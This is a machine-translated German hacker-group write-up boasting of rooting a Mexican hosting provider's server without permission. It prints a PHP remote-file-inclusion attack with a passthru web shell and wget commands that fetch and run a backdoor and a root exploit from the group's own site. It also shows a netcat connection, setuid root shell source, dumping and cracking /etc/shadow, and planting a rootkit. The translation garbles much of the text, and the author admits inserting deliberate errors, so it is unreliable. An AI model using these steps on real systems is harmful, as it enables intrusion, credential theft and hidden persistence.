This page has been robot translated, sorry for typos if any. Original content here.

Root auf dem Hosting-Provider


Intro.
Ich habe mich dazu entschlossen, dieses spezielle Hacking zu beschreiben, da es kurz zuvor passiert ist (und zum jetzigen Zeitpunkt - 23.01.03 - der Server sozusagen immer noch in DHG-Händen ist). Ich wurde auch vor langer Zeit gebeten, ein interessantes Hacking zu beschreiben.
Ich möchte nicht, dass diese Geschichte ein Werkzeug für die Gräueltaten anderer Menschen ist, deshalb machen wir absichtlich einige Fehler / Ungenauigkeiten (die übrigens jeder fortgeschrittene Benutzer bemerken wird). Naja, auch elementare Dinge wie "Linux-Teams auch an welcher Stelle suchen, wie die Exploits kompilieren" werden wir nicht. Also lass uns gehen.

Runde 1: Remote.
Im Allgemeinen war das ursprüngliche Ziel das mexikanische Linux-Portal www. ***. Com, das einst von diesem Anbieter gehostet wurde.
Zunächst musste herausgefunden werden, auf welcher Achse dieses Portal steht. Obwohl der Stumpf ist klar, dass die Website über Linux nicht auf Windows hängen kann. Der http lautete: "Apache / 1.3.26 (Unix) (Red Hat / Linux) Chili! Soft-ASP / 3.6.2 PHP / 4.1.2", das FTP-Banner lautete:
ManagedHosting FTP-Server (Version 6.5 / OpenBSD, Linux-Port 0.3.2) bereit.
Scan-Ports, cgi-bug'i und all diesen Blödsinn haben wir auf keinen Fall - oder vielmehr - auf später verschoben. Nun, ich wollte auch nicht über das Essom sprechen. Also, im FTP-Banner blitzte die Phrase "Hosting"! Nachdem wir auf ripnet getroffen hatten, entschieden wir uns, direkt zu ip zu wechseln, was www. ***. Com war. Er brachte mich auf die Seite "managedhosting.dialtoneinternet.com.mx", die offensichtlich sein Hoster war. Später wurde eine kurze manuelle Bruteforce-Methode verwendet, um die tatsächliche Hosting-Site zu berechnen: dialtoneinternet.com.mx (www.dialtone.com).
Wir beschlossen, an dieser Stelle auch anzuhalten, um zu der Stelle zurückzukehren, die kaputt war. Er stand auf der PHP-Engine "phpWebSite" unbekannter Version. Dieser nächste Klon von PHP-Nuke hatte keinen besonderen Fokus auf Sicherheit. Alle Versionen von PWS bis 0.8.2 (auch mit einer Stable-Markierung) wiesen eine Sicherheitsanfälligkeit in Bezug auf die PHP-Quelleninjektion auf. Informationen zu dieser Sicherheitsanfälligkeit finden Sie im Artikel r4ShRaY. Den Rest lesen Sie weiter. Also, hier ist ein bisschen sorsa modsecurity.php Datei:

<? php
global $ inc_prefix;
if (! $ inc_prefix) {
...
}
...
include_once ($ inc_prefix. "htmlheader.php");
?>

IMHO, sollte alles für alle klar sein. Führen Sie dieses Skript auf ähnliche Weise aus:
http: //www.***.com/modsecurity.php? inc_prefix = http: //www.dhgroup.org
Die auf unserer Seite befindliche Datei htmlheader.php wird mit yet-undefined_right ausgeführt. Das einzige, was mich störte, war die Tatsache, dass es auf der angegriffenen Seite eine gepatchte oder neuere Version gibt (schließlich handelt es sich nicht um eine Art 'Vasyas Homepage', sondern um ein Portal für kewl-Linux-userz).
Im Allgemeinen haben wir die Datei htmlheader.php auf unserer Website mit folgendem Inhalt erstellt:

<? Durchgang ("$ cmd")?>

Dann ging ich zu:
modsecurity.php? inc_prefix = http: //www.dhgroup.org&cmd=ls
Zu dem haben wir eine Auflistung des WWW erhalten. # Hinweis dann kritzeln alle Teams ohne "...? inc_prefix = http: // ..."!

Runde 2: Lokal.
> echo hi> kewl.txt; cat kewl.txt
Bei diesen beiden Teams reagierte der Browser mit einem leeren schneeweißen Bildschirm. Dies bedeutet, dass ich keine Rechte zum Schreiben in das WWW-Verzeichnis habe. Das heißt, um die Verunstaltung so weit auszudrücken. Bevor weitere Maßnahmen ergriffen werden konnten, mussten weitere Informationen zum System gesammelt werden. Die Hauptbeschäftigung, die wir hinter die httpd.conf-Datei geklettert sind:
> cat /etc/httpd/conf/httpd.conf
Von dort haben wir die Front-End-Version rausgerissen (der http-Header 'Server' hat übrigens nichts über das Vorhandensein von FrontPage gesagt) und die Route zu den WWW-Verzeichnissen der Sites: dialtoneinternet.com.mx (defekter Hosting-Provider), stormarketing.com, altavistablinds.com, parigitown.com nun, auch zu mehreren wichtigen Ressourcen:
# -FrontPage- version = 4.0
##
## httpd.conf - Konfigurationsdatei des Apache HTTP-Servers
##
...
<VirtualHost 66.33.62.88>
<Verzeichnis / home / admin / www / serversecure>
Optionen alle
AllowOverride All
</ Directory>
Servername dialtoneinternet.com.mx
ServerAlias ​​www.dialtoneinternet.com.mx
DocumentRoot / home / admin / www
ErrorLog-Protokolle / error_log
TransferLog-Protokolle / transfer_log
Gruppiere niemanden
ScriptAlias ​​/ cgi-bin / / home / admin / www / cgi-bin /
</ Virtualhost>
...
Natürlich, um sie zu entlassen, reichen die Rechte nicht aus, ABER sie reichen völlig aus, um den Front-Line-Service zu sehen. Pwd (falls vorhanden) dieser Sites mit allen daraus resultierenden Konsequenzen;) Wir ließen diese Gelegenheit für dieses Abenteuer, wenn ich es tat können nicht in der Lage sein, ihre Privilegien zu erhöhen.
Des Weiteren haben wir aus Interesse Folgendes vorgestellt:
> netstat -a
Was hast du bekommen (# - meine Tags):
  Aktive Internetverbindungen (Server und eingerichtet)
 Proto Recv-Q Send-Q Lokale Adresse Ausländischer Adressstatus 
 tcp 0 1 66.33.62. *: 2114 by.ru:wwww LAST_ACK # (1)
 tcp 0 0 66.33.62. *: www 62.141.75.226 Bor116 ESTABLISHED 
 tcp 0 0 *: www *: * LISTEN 
 tcp 0 0 *: imap2 *: * LISTEN 
 tcp 0 0 *: pop3 *: * LISTEN 
 tcp 0 0 *: ftp *: * LISTEN 
 tcp 0 0 *: 81 *: * LISTEN 
 tcp 0 0 *: https *: * LISTEN # (2)
 tcp 0 0 managedhosting.d: domain *: * LISTEN 
 tcp 0 0 managedhosting2.:domain *: * LISTEN 
 tcp 0 0 spacebattles.net:domain *: * LISTEN 
 tcp 0 0 66.33.62. *: domain *: * LISTEN 
 tcp 0 0 localhost.locald: domain *: * LISTEN 
 tcp 0 0 *: smtp *: * LISTEN 
 tcp 0 0 *: mysql *: * LISTEN 
 tcp 0 0 *: casp3001 *: * LISTEN 
 tcp 0 0 *: casp3000 *: * LISTEN 
 tcp 0 0 *: casp5105 *: * LISTEN 
 tcp 0 0 *: casp5103 *: * LISTEN 
 tcp 0 0 *: casp5104 *: * LISTEN 
 tcp 0 0 *: 1581 *: * LISTEN 
 tcp 0 0 *: 1024 *: * LISTEN 
 tcp 0 0 *: ssh *: * LISTEN # (3)
 udp 0 0 *: 4320 *: * 
 udp 0 0 managedhosting.d: domain *: * 
 udp 0 0 managedhosting2.:domain *: * 
 udp 0 0 spacebattles.net:domain *: * 
 udp 0 0 66.33.62. *: domain *: * 
 udp 0 0 localhost.locald: domain *: * 
 raw 0 0 *: udp *: * 7 
 raw 0 0 *: tcp *: * 7 
 raw 0 0 *: icmp *: * 7 
 raw 0 0 *: tcp *: * 7 
 Aktive UNIX-Domain-Sockets (Server und eingerichtete)
 Proto RefCnt Flags Type State I-Node Path
 UNIX 0 [ACC] STREAM LISTENING 552166 /home/httpsd/cache/ssl.socket
 UNIX 0 [ACC] STREAM LISTENING 2087 /tmp/mysql.sock
 Unix 4 [] DGRAM 290 / dev / log
 UNIX 0 [ACC] STREAM LISTENING 549144 / var / run / ndc
 Unix 0 [] STREAM 565939 
 Unix 0 [] DGRAM 555692 
 Unix 0 [] DGRAM 549142 
 Unix 0 [] DGRAM 3193 
 Unix 0 [] DGRAM 303 
(1) - das sind wir =)
(2) - Das Vorhandensein von ssl drückt normalerweise den Austausch privater Informationen mit dem Server aus (z. B. cc). Obwohl es für das Hosting in der Reihenfolge der Dinge ist.
(3) - hier ist es Shell! Es wird uns später nützlich sein.
Auch hier mussten keine Ports gescannt werden :)
Als nächstes war es notwendig, bestimmte Aktionen durchzuführen oder zumindest fast die Version der Überschrift herauszufinden und auf dieser Basis weiter zu tanzen. Für diejenigen, die es nicht wissen, hinterlassen einige (wenn nicht alle) Linux-Distributionen die Datei "* -release" (wobei * der Distributionsname ist: mandrake-release, cobalt-release ...) im Verzeichnis / etc / Administratoren haben auch keine Möglichkeit, dies zu beheben.
> cat / etc / redhat-release:
Red Hat Linux Version 6.1 (Cartman)
Obaaaaa, ich muss sagen, das haben wir nicht erwartet :) Alles andere war eine Frage der Technik. Um die lang erwartete Wurzel zu erreichen, entschieden wir uns, RedHats Verwundbarkeit in rcp zu nutzen.

Red Hat 6.2: rcp mögliches Wurzelloch
Tatsächlich wurde die Sicherheitslücke in der Kappe 6.2 gefunden. Ungefähr 6.1 in einem Beitrag von Andrew Griffiths und Tlabs sagte kein Wort. In der Hoffnung auf viel Glück stellten wir vor:
> ls -alF `which rcp`
-rwsr-xr-x 1 root root 14868 30. Juli 1999 / usr / bin / rcp *
Hoppla! Suidny RCP besitzt die Räumlichkeiten zu sein! Es ist schon gut :) Ich füllte mir "rcpsploit.pl" von tlabs plus aus und stoppte, nachdem ich die Quelle studiert hatte. Ich werde Ihnen vielleicht erklären, wie dieser Exploit funktioniert - vielleicht hilft Ihnen dies dabei, das Wesen der Verwundbarkeit des Problems zu verstehen, das auch aufgetreten ist.
Also erstellt er 2 Dateien:
/tmp/shell.c---------------------

#include
#include
int main ()
{
setuid (0);
setgid (0);
execl ("/ bin / sh", "sh", 0);
return 0;
}


hey ------------------------------
Vielen Dank an Andrew Griffiths für den Fehlerbericht

Dann, durch rcp suedny, die shell.c compile compile auch chmod'om wirkt es so blah sudnym. Hier auch alles! Wir starten die kompilierte Shell und bekommen die Shell auch mit uid = 0, gid = 0. Aber was nützt uns diese Shell, wenn wir Befehle über einen Webserver ausführen? : - /
Das Ausführen dieses Exploits war nur auf der "normalen" Shell erlaubt.
Brauchen Sie eine Muschel? Er wird! In meinem Warez-Archiv hat sich vor langer Zeit eine kleine Perlgerste verstaubt, für die wir uns auch entschieden haben:
> wget -o = / tmp / .tmp.pl http://www.dhgroup.org/exp/backhole.pl
> chmod 755 /.tmp/tmp.pl
> perl /tmp/.tmp.pl
Weiter auf Ihrem Computer:
> nc ***. com 51015
Durch Verbinden von:
> cd / tmp
> wget -c http://www.dhgroup.org/exp/rcpsploit.pl
> chmod 755 rcpsploit.pl; perl rcpsploit.pl
Ok, zu einfach, wir müssen gut gehen, nicht wahr? :)
> id
uid = 0 (root) gid = 0 (root) groups = 0 (root), 1 (bin), 2 (daemon), 3 (sys), 4 (adm), 6 (disk), 10 (wheel)
Hier auch alles :) Nun, auch der letzte:
> Katze / etc / shadow
root: ###: 11961: 0: 99999: 7: -1: -1: 134549964
bin: *: 10925: 0: 99999: 7 :::
Daemon: *: 10925: 0: 99999: 7 :::
adm: ###: 11577: 0: 99999: 7: -1: -1: 134549852
... etc ...
JTR hat 977 Passwörter gezählt%) Um die Suche zu beschleunigen, haben wir Folgendes eingeführt:
john -i: alles -u: wurzelschatten
Irgendwo 8 Stunden und ... der lang ersehnte Moment:




Dann habe ich lrk hineingegossen, ein paar Datenpfeifen auch bnc ... obwohl das eine andere Geschichte ist ...

Was wurde beim Hacken verwendet:
Netscape v.xz
secureCRT 3.1
Netcat
John the Ripper
backhole.pl
rcpsploit.pl
Gehirne
PacketStormSecurity

Schlussfolgerungen \ Kommentare \ Kommentare:
1. Wenn sich der eine oder andere Server selbst als Hosting-Provider oder Linux-Portal bezeichnet, bedeutet dies nicht, dass er gut geschützt ist.
2. Während des Hacking-Vorgangs sollten Sie keine besondere Erklärung Ihrer Identität abgeben (dieser Artikel wird noch in Zukunft erscheinen).
3. Beim Hacken wurde fast nie die sogenannte "Hacker" -Software verwendet.
4. RH6. * - nichts zu essen :)

PS IMHO, der Leser könnte den Eindruck bekommen, dass ich einfach Glück hatte, auch das allgemeine Hacken dauerte ein paar Minuten. Dies ist nicht der Fall. Es gab Momente, zu denen sie einfach losließen, zu welcher Zeit ich mit meinem Kopf gegen die Wand kämpfen wollte.

Gepostet von: D4rkGr3y


Material mit Genehmigung von DHGROUP veröffentlicht (http://www.dhgroup.org)